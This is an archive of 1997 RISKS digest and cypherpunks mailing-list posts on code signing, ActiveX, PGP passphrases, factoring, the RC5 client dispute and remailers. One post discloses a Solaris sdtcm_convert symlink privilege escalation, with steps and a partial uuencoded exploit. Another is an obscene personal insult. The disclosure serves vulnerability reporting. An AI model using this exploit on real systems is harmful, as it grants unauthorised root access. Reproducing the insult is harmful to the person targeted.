program recently.  Endorsement is more useful than authorship anyway; most
people care more about whether their corporate MIS department has endorsed a
program than about who wrote the program.

* Myth 2: If X has signed a program, and I trust X, then it is safe for me
to download the program.

Reality: There have been plenty of incidents of reputable and well-meaning
organizations spreading viruses or serving as the base for security
attacks.  Before accepting a download from X, it's not enough to ask "Do I
trust X?"  One must also ask questions like "How carefully has X managed
his cryptographic keys?" and "What is the probability that X's security has
been penetrated?"  

* Myth 3: Digital signatures provide accountability; if a program signed by
X is malicious, the victim can sue X.

Reality: Suppose I accept a download signed by X.  A few seconds later
there is some mysterious network traffic and then my disk gets wiped clean.
 X could be the culprit.  Or X could be innocent --- that code I downloaded
from Y three days ago could have waited a while before detonating.  Or
somebody could have exploited a bug somewhere else in my system.  I have *no
evidence* to distinguish these cases --- all the evidence disappeared when
my disk was erased.  (We can assume the attacker is smart enough to remove
the hostile code from his site immediately after the attack.)

If the attacker doesn't erase my disk, I can't trust the apparent evidence
anyway.  After all, the attacker had free run of my system and could have
planted whatever "evidence" he liked.  The evidence, whether real or not,
will collapse in the first cross-examination.
 
Signatures can provide accountability, but only with much more rigorous
logging and auditing than today's consumer software provides.

------------------------------

Date: Mon, 17 Feb 1997 08:21:44 -0500
From: amesr@interlog.com (Robert Ames)
Subject: Forgeries and Dejanews

It seems that an effective way to attack an individual is to forge a Usenet
article purportedly from that person, and to include in the article
"admissions" or bigotted statements which would reflect poorly on his
character.  The forged article is then collected by Dejanews and similar
organizations and archived.  It becomes part of the Dejanews "profile" on
the supposed author.

I was one of the victims of a series of forgeries in August and September,
1996.  The perpetrator originated at ixc.net in New York, and then telnetted
to news.uu.net and other open news servers to post as the victim.  Although
I cancelled the forged article and posted a PGP-signed repudiation, the
article was still archived at Dejanews, and was recently used by someone to
"prove" that I had made statements which put me in a bad light.

Since this is a general problem which can impact on anyone, I feel it needs
to be discussed.  Perhaps news archivers should be under the same scrutiny
as credit reporting agencies.

------------------------------

Date: Wed, 19 Feb 1997 19:58:39 -0500
From: Edward Felten <felten@CS.Princeton.EDU>
Subject: Mobile code security mailing list

We are starting a moderated mailing list to discuss security issues relating
to mobile code systems like Java, ActiveX, and JavaScript.  To join, send
e-mail to majordomo@cs.princeton.edu; your message body should contain the
single line

"subscribe secure-mobile-code"

or if your desired TO: address is different from your FROM: address,

"subscribe secure-mobile-code" (append your TO: address here)

------------------------------

Date: Wed, 19 Feb 1997 13:33:51 -0500
From: Paul Robinson <foryou@erols.com>
Subject: ActiveX basic problem

As it has been pointed out in *Dr. Dobbs' Journal*, an ActiveX control is no
less than a Windows Dynamic Link Library (DLL) that has all the power and
capability of any other DLL loaded on a Windows system, i.e.  any damn thing
it wants to do.

This alone should ring the death knell on use of ActiveX for anything other
than perhaps on an intranet behind a firewall that does not allow any
incoming traffic, and maybe not even then.

Paul Robinson, Evergreen Software

------------------------------

Date: Fri, 21 Feb 1997 16:06:20 +0000 (GMT)
From: Lloyd Wood <L.Wood@surrey.ac.uk>
Subject: MS on the CCC ActiveX virus (fwd)

Here is Microsoft's official line on the security of ActiveX.

This leaves a very nasty taste in my mouth. The onus on the users to be
responsible with their tools, as usual, rather than on the developers to
create safer tools.  Lloyd
<URL:http://www.sat-net.com/L.Wood/><L.Wood@ieee.org>+44-1483-300800x3435

---------- Forwarded message ----------
Date: Fri, 21 Feb 1997 10:31:18 -0500
>From: glen mccready <glen@qnx.com>
Subject: MS on the CCC ActiveX virus
Forwarded-by: garman@phs.k12.ar.us (Jason Garman)
>From: Site Builder Network <sbn@MICROSOFT.COM>
Subject: SBN Wire: News Flash

Dear Site Builder Network Member,

Tomorrow, Microsoft will be posting the attached letter to our web site, and
sending it out to the Internet Explorer community.  In it, Brad Silverberg
addresses head-on the recent security questions facing the industry
regarding malicious, unsigned controls.  We know this issue is important to
you and your customers, and wanted to give you a heads-up.

For more information, check out http://www.microsoft.com/security

Tod Nielsen, General Manager, Developer Relations Group

 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =

>From the Office of Brad Silverberg
Senior Vice President
Microsoft Corporation
1 Microsoft Way
Redmond, WA  98052

Dear Internet Users Everywhere:

You may have heard reports about a malicious software program created and
demonstrated recently by the Chaos Computer Club (CCC) in Hamburg, Germany.
I want to personally assure you that Microsoft(R) Internet Explorer 3.0 has
the appropriate safeguards to protect against this type of threat.  By using
its default security level (High) that comes pre-set, Internet Explorer 3.0
will not download and run any "unsigned" control such as the one from the
CCC.

The CCC demonstrated its malicious executable code running on Microsoft
Internet Explorer 3.0, though they could just as easily have demonstrated a
similar attack on any other browser.  While it is unfortunate that hackers
have created this harmful program, it does point out the need for users to
act cautiously and responsibly on the Internet, just as they do in the
physical world.

Malicious code can be written and disguised in many ways - within
application macros, Java(tm) applets, ActiveX(tm) controls, Navigator
plug-ins, Macintosh(R) applications and more.  For that reason, with
Internet Explorer 3.0, Microsoft has initiated efforts to protect users
against these threats.  Microsoft Authenticode(tm) in Internet Explorer 3.0
is the only commercial technology in use today that identifies who published
executable code you might download from the Internet, and verifies that it
hasn't been altered since publication.

If users choose to change the default security level from High to Medium,
they still have the opportunity to protect themselves from unsigned code.
At a Medium setting, prior to downloading and running executable software on
your computer, Microsoft Internet Explorer presents you with a dialog either
displaying the publisher's certificate, or informing you that an "unsigned
control" can be run on your machine.  At that point, in either case, you are
in control and can decide how to proceed.

As you know, Microsoft is committed to giving users a rich computing
experience while providing appropriate safeguards.  Most useful and
productive applications need a wide range of system services, and would be
seriously limited in functionality without access to these services.  This
means that many Java applications will have to go "outside the sandbox" to
provide users with rich functionality.  By signing code, a developer can
take advantage of these rich services while giving users the authentication
and integrity safeguards they need.  Other firms such as Sun and Netscape
are following our lead, and have announced that they will also provide code
signing for Java applets. Microsoft will also be providing an enhanced Java
security model in the future, giving users and developers flexible levels of
functionality and security.

Microsoft takes the threat of malicious code very seriously.  It is a
problem that affects everyone in our industry.  This issue is not tied to
any specific vendor or group of people.  All of us that use computers for
work, education, or just plain fun need to be aware of potential risks and
use the precautions that can insure we all get the most out of our
computers. For this reason, we are committed to providing great safeguards
against these types of threats in Internet Explorer.  We expect hackers and
virus writers to get increasingly sophisticated but we pledge we'll continue
to keep you and us one step ahead of them.

Brad Silverberg

P.s. Be sure to check out our Web Executable Security Advisor at
http://www.microsoft.com/security

------------------------------

Date: Thu, 20 Feb 1997 10:43:36 -0800
From: Travis Winfrey <travis@lombard.com>
Subject: Microsoft "defends" ActiveX

The site http://www.news.com/News/Item/0,4,8096,00.html?latest discusses the
MS response to the activeX/quicken bug where downloaded activeX applets can
actually transfer real money out of your bank account (bug not applicable in
America).  They point to this URL:
        http://www.microsoft.com/security/
which has this instant-classic paragraph, emphasis not in the original:

        While the Java sandbox enforces a high degree of security, 
        it does not let users download and run exciting multimedia 
        games or other full-featured programs on their computers. 
    <EM>
        As a result, users may want to download code that has full
        access to their computers' resources. 
    </EM>

------------------------------

Date: 15 Aug 1996 (LAST-MODIFIED)
From: RISKS-request@csl.sri.com
Subject: Abridged info on RISKS (comp.risks)

 The RISKS Forum is a MODERATED digest.  Its Usenet equivalent is comp.risks.
=> SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) 
 if possible and convenient for you.  Or use Bitnet LISTSERV.  Alternatively,
 (via majordomo) DIRECT REQUESTS to <risks-request@csl.sri.com> with one-line, 
   SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:] or
   INFO     [for unabridged version of RISKS information]
=> The INFO file (submissions, default disclaimers, archive sites, .mil/.uk
 subscribers, copyright policy, PRIVACY digests, etc.) is also obtainable from
 http://www.CSL.sri.com/risksinfo.html  ftp://www.CSL.sri.com/pub/risks.info
 The full info file will appear now and then in future issues.  *** All 
 contributors are assumed to have read the full info file for guidelines. ***
=> SUBMISSIONS: to risks@CSL.sri.com with meaningful SUBJECT: line.
=> ARCHIVES are available: ftp://ftp.sri.com/risks or
 ftp ftp.sri.com<CR>login anonymous<CR>[YourNetAddress]<CR>cd risks
 or http://catless.ncl.ac.uk/Risks/VL.IS.html      [i.e., VoLume, ISsue].
 The ftp.sri.com site risks directory also contains the most recent 
 PostScript copy of PGN's comprehensive historical summary of one liners:
   get illustrative.PS

------------------------------

End of RISKS-FORUM Digest 18.83 
************************

Standard Risks reuse disclaimer:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 22 Feb 1997 00:22:00 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: IDEA/Strength?
Message-ID: <01IFP9X27J408Y52G0@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"stewarts@ix.netcom.com"  "Bill Stewart" 22-FEB-1997 03:05:51.28

>At 04:21 PM 2/21/97 -0500, Alec wrote:
>>Is the strength, or lack thereof, of conventional PGP encryption
>>proportional to the length of the conventional password?

>Sure, up to 128 bits of entropy.  Go check out pgpcrack.  

	Another way to put it is that the length places a _maximum_
on the entropy; no more than 7 bits (unless PGP's interface can
deal with control/etcetera keys) minus a fractional bit (for
characters like delete) per character. Of course, simply expanding
a passphrase of "a" to "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" won't do you much good... but
most non-pathological passphrases will expand in entropy as they
expand in length. (There is the consideration, however, that a
lengthy passphrase may need to be in alphabetical characters,
as opposed to alphanumeric, due to human memory limitations. If
you didn't/don't have that, then even a completely random
over-19-character long passphrase (enough to be more than 128
effective bits going in) could be of assistance; greater length
makes it more likely that someone observing you will miss
enough of the passphrase to make a search impractical.)
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Sat, 22 Feb 1997 00:48:06 -0800 (PST)
To: cryptography@c2.net
Subject: No Subject
Message-ID: <199702220848.AAA21157@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


CC: 
From: stewarts@ix.netcom.com (Bill Stewart)
Subject: 167-digit number factored
X-Mailer: Mozilla/2.1 (compatible; Opera/2.1; Windows 95)

The article's gotten a bit garbled through replies, but this was on sci.crypt.

> In article <phrE5EDtw.D1w@netcom.com> phr@netcom.com (Paul Rubin) writes:
> >In article <5dna0l$nrl@arthur.cs.purdue.edu>,
> >Samuel S Wagstaff <ssw@cs.purdue.edu> wrote:
> 
> >>On Tuesday, 4 February 1997, we completed the factorization of a
> >>composite number of 167 digits, one of the `More Wanted' factorizations
> >>of the Cunningham Project.  It is:
> >>
> >>3,349- = (3^349 - 1)/2 = c167 = p80 * p87
> >>
> 
> >Congratulations.... was this factorization much easier than
> >factoring a general 167 (or 160) digit number?
> 
>     Yes, this c167 is much easier.  I just finished the 136-digit number 
> 
>               n = (2^454 - 2^341 + 2^227 - 2^114 + 1)/13
> 
> (a divisor of (2^1362 + 1)/(2^454 + 1)).  The sieving took
> 85 machine-days (about two weeknights) on a network of 60 SGI machines, 
> and took advantage of n's representation as a polynomial in 2^113.  
> Last year's factorization of RSA130 (130 digits) took 6 calendar-months 
> to sieve, at multiple sites.  By the way, the new factorization is
> n = p49 * p88, where
> 
>         p49 = 2393102462756185953833037662530180237989024296581
>         p88 = 14952485345141425227257136559467580083134337 \
>               51379919088823926933276083374444560702796609
> 
>     The c167 factorization of (3^349 - 1)/2 was about as hard 
> as doing a general number around 115-120 digits.
> -- 
>         Peter L. Montgomery    pmontgom@cwi.nl    San Rafael, California
> 
> A mathematician whose age has doubled since he last drove an automobile.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 21 Feb 1997 23:07:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Forgery detection
Message-ID: <199702220636.HAA10947@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' Maya's 16Kb brain's single convolution is 
directly wired to his rectum for input and his T1 mouth for 
output. That's 16K bits, not bytes. Anal intercourse has 
caused extensive brain damage.

          o-:^>___? Timmy `C' Maya
          `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 22 Feb 1997 09:36:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Security hole in Solaris 2.5 (sdtcm_convert) + exploit
In-Reply-To: <Pine.GSO.3.95.970222170729.18883B-100000@sundy.cs.pub.ro>
Message-ID: <199702221736.JAA10536@netcom14.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone in Romania writes:

> Another hole in Solaris

Horrors no!  

> The exploit is very simple. Change the permision mode of your calendar
> file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
> sdtcm_convert. sdtcm_convert 'll observe the change and 'll want  to
> correct it (it 'll ask you first). You have only to delete the callog file
> and make a symbolic link to a target file and your calendar file and said to
> sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
> file ...  

Where would Unix be without symbolic links and race conditions?  

This is cute, in that rather than having to mung a symbolic link on
the fly, the program conveniently asks for user input with suid set,
and then pauses while you set the trap.  

Good work. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: earle@zero.genx.net (Earle Ady)
Date: Sat, 22 Feb 1997 09:16:59 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: DES Crack Hype
In-Reply-To: <330E7218.716A@sk.sympatico.ca>
Message-ID: <199702221715.MAA07384@zero.genx.net>
MIME-Version: 1.0
Content-Type: text


# > > > For instance, New Media Laboratories provides no source code for their
# > > > software, nor any type of documentation to track what it 'should' be
# > > > doing vs. what it 'is' doing.
# > >
# > > I had no difficulty obtaining source from them for benchmarking/porting
# > > reasons.  I do freely admit that there is a lack of documentation.

  Let's clear a few things up right off the bat here.  This whole thing
  was done strictly out of complete boredom with the participation
  of a small group of people, mainly online friends.  Needless to say
  it has grown at a seemingly exponential rate, putting us somewhere
  in the ballpark of having a "real shot" at this.

  Source code was initially released on a very early version of the
  RC5-client, after a half dozen or so rogue clients started up, we
  decided to quickly strop distributing source code until the whole
  client->server protocol could be devised "the right way"..  Source
  code for "current" client will be released as well, hopefully very
  soon now.

  Well documentation for what it is doing?  It's uh, doing some math
  or something; that's retarded.

  Documentation for running?  Well, I suppose anyone unfamiliar with normal
  ``man(1)'' style syntaxing would find it cryptic at best, but it should
  be fairly straight forward.  Now that there actually seems to be extensive
  participation in this, we're doing a FAQ on the website.  Hopefully this
  will alleviate alot of this.

# >   I have had no difficulty in obtaining silence in response to my
# > email regarding New Media Labaoratories and their software.
# >   When I received your post, I was on the verge of deciding that their
# > silence was an indication that they wanted me to consider myself their
# > official spokesperson.
# >   That would have been fun.

  Generally I dont waste my time dealing with such ludicrous issues.  You
  people should all realize, that no matter what you do, no matter how
  you do it, as soon as it hit's mailing lists or newsgroups, someone has
  opinions about it, as well as "a better way of doing it".  Well whatever,
  it's all just a monumental waste of bandwidth.

# > 
# > > > It reports results which are obviously
# > > > in error, and there is no way to divine the source or cause of those
# > > > false results.

  If you are speaking of the website statistics, well I'm not even going
  to get involved in this.  I'm working on "doing it right" as time
  permits.  I didnt have much to do with the one that is up there now.

# > 
# >   However, I am referring to the stats that I get on my own machine after
# > the keys have been 'checked'. I had one message telling me, "Keyspace
# > exhausted in 243.12 minutes." The only problem is that it actually took
# > slightly under an hour. If it is wrong about the time, then how can I
# > be expected to believe that it is right about the keys being checked?

  This is due to the fact that you have a bum client :)  New clients,
  (all compiles are being verified by me before put online) are becomming
  available now.  Proxies for all of the platforms we're supporting will
  be available too; caching proxies underway as well.

  The vast majority of the initial clients were not ported by my me.

# > > A second generation of key serv statistics reporting with wiz-bang
# > > graphics and other cool crap can be expected by the end of this
# > > weekend.

  Uh, terrific.

# > 
# >   This is precisely my point. None of the people that are running these
# > programs on our machines have any way of knowing just exactly what is
# > taking place here.
# > <crap deleted>

  I'm getting more and more distressed about this utter waste of bandwidth
  the further down I get here.

  I will put specifics on how the server assigns keyspace onto the website
  in due time.  Frankly, I do not expect, or care, to be the one to break
  this key.  I in no way, shape or form, give unfair advantages to any
  of the participants.  Keys are assigned, they are not ranked and assigned
  based on any preference whatsoever.  This is pretty ridiculous.

  
# > 
# >   I was impressed with the genx homepage and the number of platforms to
# > which the software had been ported. The software itself was ported to
# > Win95 with at least enough competence to do 'something', as opposed to
# > requiring me to reinvent the wheel in order to get it to run.
# >   But I still don't know what it does, in fact, do, or if I am just
# > pissing in the wind by running it. (Or if it was written by the same
# > guys who killed Kennedy).
# >
# >   So, although I appreciate your efforts, until I find a basis for
# > deciding otherwise, I will be using the Orange Crayola to connect
# > you on my chart to the bad-guys on the X Files.

  The client allows you to participate in the RC5-56 contest (at no unfair
  advantage or disadvantage).  That is the bottom line.  If you wish to
  participate, we'd greatly welcome any instructions you can spare.  If
  you don't, that's fine too, best of luck.

earle.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Feb 1997 12:57:50 -0800 (PST)
To: Earle Ady <earle@zero.genx.net>
Subject: Re: DES Crack Hype
In-Reply-To: <199702221715.MAA07384@zero.genx.net>
Message-ID: <330F7A0C.634E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Earle Ady wrote:
> 
> # > > > For instance, New Media Laboratories provides no source code for their
> # > > > software, nor any type of documentation to track what it 'should' be
> # > > > doing vs. what it 'is' doing. 
>   Source code was initially released on a very early version of the
>   RC5-client, after a half dozen or so rogue clients started up, we
>   decided to quickly strop distributing source code until the whole
>   client->server protocol could be devised "the right way".. 

   I didn't get a rogue client. I got a client off of your ftp server.
And I have no idea what it is doing.

>   Well documentation for what it is doing?  It's uh, doing some math
>   or something; that's retarded.

  Is it doing the kind of math that cracks encryption? Or the kind of 
math
that fucks up hard-drives and operating systems?
  It seems to like to access the hard drive for two solid minutes for no
apparent reason while it is connected to your server and, according to
the message, "sleeping." A lot of things can be done in two minutes of
access to a hard drive.
 
>   Now that there actually seems to be extensive
>   participation in this, we're doing a FAQ on the website.  Hopefully this
>   will alleviate alot of this.

  I can appreciate that you seem to have been playing in the backyard
with friends when the whole neighborhood decided to show up and play
with you, but you should realize that if you are serious about gaining
enough support to take your best shot at the DES Crack, that you will
have to provide strangers with enough info to feel comfortable about
running your software on their machines and those of their employers,
etc.
  Some of my readers have sent me email asking if they should be 
concerned about running this-or-that software on their business
boxes, and I tell them, "You should be concerned about everything
you run on your business machine."
   "It's uh, doing some math or something..." isn't a very good basis
for people to run the software on a few million bucks worth of hardware.

>   as soon as it hit's mailing lists or newsgroups, someone has
>   opinions about it, as well as "a better way of doing it".  Well whatever,
>   it's all just a monumental waste of bandwidth.

  I don't think it is a waste of bandwith to question whether people
should feel comfortable downloading and running applications which
provide neither source code nor documentation that can be used to
judge the competence and/or integrity of those producing it.

> # >   However, I am referring to the stats that I get on my own machine after
> # > the keys have been 'checked'. I had one message telling me, "Keyspace
> # > exhausted in 243.12 minutes." The only problem is that it actually took
> # > slightly under an hour. If it is wrong about the time, then how can I
> # > be expected to believe that it is right about the keys being checked?
> 
>   This is due to the fact that you have a bum client :)

  Yet you still call me a fucking retard for wanting to be able
to verify that your software isn't going to turn my machine into
a toaster?

>   New clients,
>   (all compiles are being verified by me before put online) are becomming
>   available now.  Proxies for all of the platforms we're supporting will
>   be available too; caching proxies underway as well.

  This doesn't matter for shit if you have nothing in place to provide
info in this regard for those participating in your group effort.
  
>   I'm getting more and more distressed about this utter waste of bandwidth
>   the further down I get here.

  Since my efforts have led to me finding out that I have a "bum client",
the bandwidth is serving my purpose very well.
 
> # >   I was impressed with the genx homepage and the number of platforms to
> # > which the software had been ported. The software itself was ported to
> # > Win95 with at least enough competence to do 'something', as opposed to
> # > requiring me to reinvent the wheel in order to get it to run.
> # >   But I still don't know what it does, in fact, do, or if I am just
> # > pissing in the wind by running it. (Or if it was written by the same
> # > guys who killed Kennedy).
> # >
> # >   So, although I appreciate your efforts, until I find a basis for
> # > deciding otherwise, I will be using the Orange Crayola to connect
> # > you on my chart to the bad-guys on the X Files.
> 
>   The client allows you to participate in the RC5-56 contest (at no unfair
>   advantage or disadvantage).  That is the bottom line.  If you wish to
>   participate, we'd greatly welcome any instructions you can spare.  If
>   you don't, that's fine too, best of luck.

  Does this include us 'retards' who are 'wasting bandwidth'?

  I am sure that you all are taking great pains to develop the best
possible software for this endeavor, but unless you take care of the
'information' end of the spectrum, you will lose the participation of
those people who require a certain level of assurance that your 
softare meets a decent standard of competence, and that someone is
actually in charge and paying attention.

Toto
-- 
   "A long time ago, being crazy meant something.
  "Now, everybody's crazy."
                              Chuck Manson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 22 Feb 1997 16:06:07 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: IDEA/Strength?
In-Reply-To: <01IFP9X27J408Y52G0@mbcl.rutgers.edu>
Message-ID: <3.0.1.32.19970222160503.0064f008@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:57 AM 2/22/97 -0800, Toto wrote:
>> >>Is the strength, or lack thereof, of conventional PGP encryption
>> >>proportional to the length of the conventional password?
...
>  Are you saying that the strength of encryption provided by PGP
>is dependent upon the password one uses?

PGP _conventional_ encryption - the straight IDEA stuff,
not the public-key stuff.  pgp -c just uses a hash of a passphrase
as its encryption key, rather than generating a high-quality 128-bit key
and encrypting it with a public key.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 22 Feb 1997 16:09:06 -0800 (PST)
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Security hole in Solaris 2.5 (sdtcm_convert) + exploit
In-Reply-To: <Pine.GSO.3.95.970222170729.18883B-100000@sundy.cs.pub.ro>
Message-ID: <3.0.1.32.19970222160819.00646170@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:36 AM 2/22/97 -0800, Mike Duvos wrote:
>> Another hole in Solaris
>Horrors no!  

.....

>Where would Unix be without symbolic links and race conditions?  
>
>This is cute, in that rather than having to mung a symbolic link on
>the fly, the program conveniently asks for user input with suid set,
>and then pauses while you set the trap.  

As with many programs from the BSD universe, it's running with
root privileges when it could have gotten by with group privileges
or run as "nobody" or some other safe approach instead....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Fri, 21 Feb 1997 19:57:17 -0800 (PST)
To: ses@tipper.oit.unc.edu
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <85658381511274@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>>I've just got the details on two new crypto chips produced by the Dutch 
>>company Pijnenburg Custom Chips B.V.  
>Were those prices 1-off? Any idea what the price would be for volume?
 
Those are one-off prices.  You'll have to contact Pijnenburg (see the address 
in the original message) for more details.
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Sat, 22 Feb 1997 07:14:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security hole in Solaris 2.5 (sdtcm_convert) + exploit
Message-ID: <Pine.GSO.3.95.970222170729.18883B-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain


Sat Feb 22 15:25:48 EET 1997 Romania

Another hole in Solaris

I have found a security hole in sdtcm_convert on Solaris 2.5.1.
sdtcm_convert - calendar data conversion utility - allows any user to
change the owner for any file (or directory) from the system or gain root
access. The exploit is very simple. Change the permision mode of your calendar
file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
sdtcm_convert. sdtcm_convert 'll observe the change and 'll want  to
correct it (it 'll ask you first). You have only to delete the callog file
and make a symbolic link to a target file and your calendar file and said to
sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
file ...  
A simple way to correct this is to get out suid_exec bit from
sdtcm_convert

I made an exploit, so you have to extract the text, uudecode it, and exec
a 'tar -xf exploit.tar'. You'll get the files in exploit_dir.


Cristian Schipor - Computer Science Faculty - Bucharest - Romania

Email: skipo@math.pub.ro skipo@sundy.cs.pub.ro skipo@ns.ima.ro
Phone: (401) 410.60.88



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M:6XO96-H;R B=VAA="=S('1H92!T87)G970@/S\_(@IR96%D(%1!4D=%5 H*
M+V)I;B]E8VAO("]B:6XO8VAM;V0@,# P("]V87(O<W!O;VPO8V%L96YD87(O
M8V%L;&]G+B154T52(#YL96UO;@HO8FEN+V5C:&\@+W5S<B]D="]B:6XO<V1T
M8VU?8V]N=F5R=" D55-%4B ^/FQE;6]N"B]B:6XO8VAM;V0@-S P("XO;&5M
M;VX*"BXO;W)A;F=E("1405)'150@)%5315(*                        
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
M                                                            
I                                                        
 
end





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: earle@zero.genx.net (Earle Ady)
Date: Sat, 22 Feb 1997 17:34:20 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: DES Crack Hype
In-Reply-To: <330F7A0C.634E@sk.sympatico.ca>
Message-ID: <199702230132.UAA09174@zero.genx.net>
MIME-Version: 1.0
Content-Type: text


# And I have no idea what it is doing.
# 

  You probably should have gotten the source code along with it then.

# math
# that fucks up hard-drives and operating systems?
#   It seems to like to access the hard drive for two solid minutes for no
# apparent reason while it is connected to your server and, according to
# the message, "sleeping." A lot of things can be done in two minutes of
# access to a hard drive.
#  

  As you can see in the source code, the rc5-56-client software does
  not access the disk in any way, shape or form.  Unless your libc.so
  does something in sleep(2V) other than what normal distributions do,
  the program is really sleeping.

#    "It's uh, doing some math or something..." isn't a very good basis
# for people to run the software on a few million bucks worth of hardware.

  Plain and simple, don't run it.  If you do not feel comfortable running
  software, then don't run it.  I sure as hell wouldn't, and I don't
  expect you to.  

#   I don't think it is a waste of bandwith to question whether people
# should feel comfortable downloading and running applications which
# provide neither source code nor documentation that can be used to
# judge the competence and/or integrity of those producing it.

  Again, this is all irrelevant since source code has, and will continue to 
  be, available.

#   Yet you still call me a fucking retard for wanting to be able
# to verify that your software isn't going to turn my machine into
# a toaster?

  I think you misinterepreted what I said.  You should spend less time
  over-analyzing this, and more time looking over the source code for
  the client.

#   This doesn't matter for shit if you have nothing in place to provide
# info in this regard for those participating in your group effort.

  Again, this is irrelevalnt.  I have nothing but support from all the
  major groups of people participating in this.  The only person who
  seems so hostile towards this attempt, hasn't even bothered to even
  research what he is talking about.

#   Since my efforts have led to me finding out that I have a "bum client",
# the bandwidth is serving my purpose very well.

  No, it works fine.  The calculation on time is simply off as someone
  didn't compensate for a specific architecture properly.

#   Does this include us 'retards' who are 'wasting bandwidth'?

  This is so off the wall, I'm contemplating printing it out and framing
  it.

#   I am sure that you all are taking great pains to develop the best
# possible software for this endeavor, but unless you take care of the
# 'information' end of the spectrum, you will lose the participation of
# those people who require a certain level of assurance that your 
# softare meets a decent standard of competence, and that someone is
# actually in charge and paying attention.

  Like I said before.  Nobody is forcing you to do anything, as a matter
  of fact, I dont even recall asking you.  Naturally you, as well as
  everyone else, is more than welcome to participate in our efforts,
  and parts of this effort which may be lacking certain lusters will
  certainly be improved.  

  We are doing this in our spare time; I personally do not care to benefit 
  from this in anyway whatsoever.

  These issues are biased based on having obviously not spent enough time
  researching what you are talking about.  Source code has been available,
  you never bothered to even ask.

  I am not going to spend anymore time in apissing contest here.  We have
  around 4000 hosts running this, along with serious participation from
  major vendors.  Again, if you are at all concerned about this, then don't
  participate.  That is the bottom line.

earle.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Sat, 22 Feb 1997 19:38:15 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Low-Risk Remailer Proposal
Message-ID: <Pine.LNX.3.95.970222223515.180B-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I would like to propose that persons wishing to run remailers but
concerned about possible political reprecussions institute a policy of
remailing only to other remailers.  This would increase the total
number of remailers, and decrease the chances that all or most of the
available remailers are compromised.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .             The path of least resistance leads to mediocrity.            .
 ............................................................................

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://www.efh.org/pgp/pgpwork.html explains this signature.

iQCVAwUBMw+7PMgbnd/MibbZAQFbOQQAo95fuNed1BF8wyDd0cut1yNrksg+kX3S
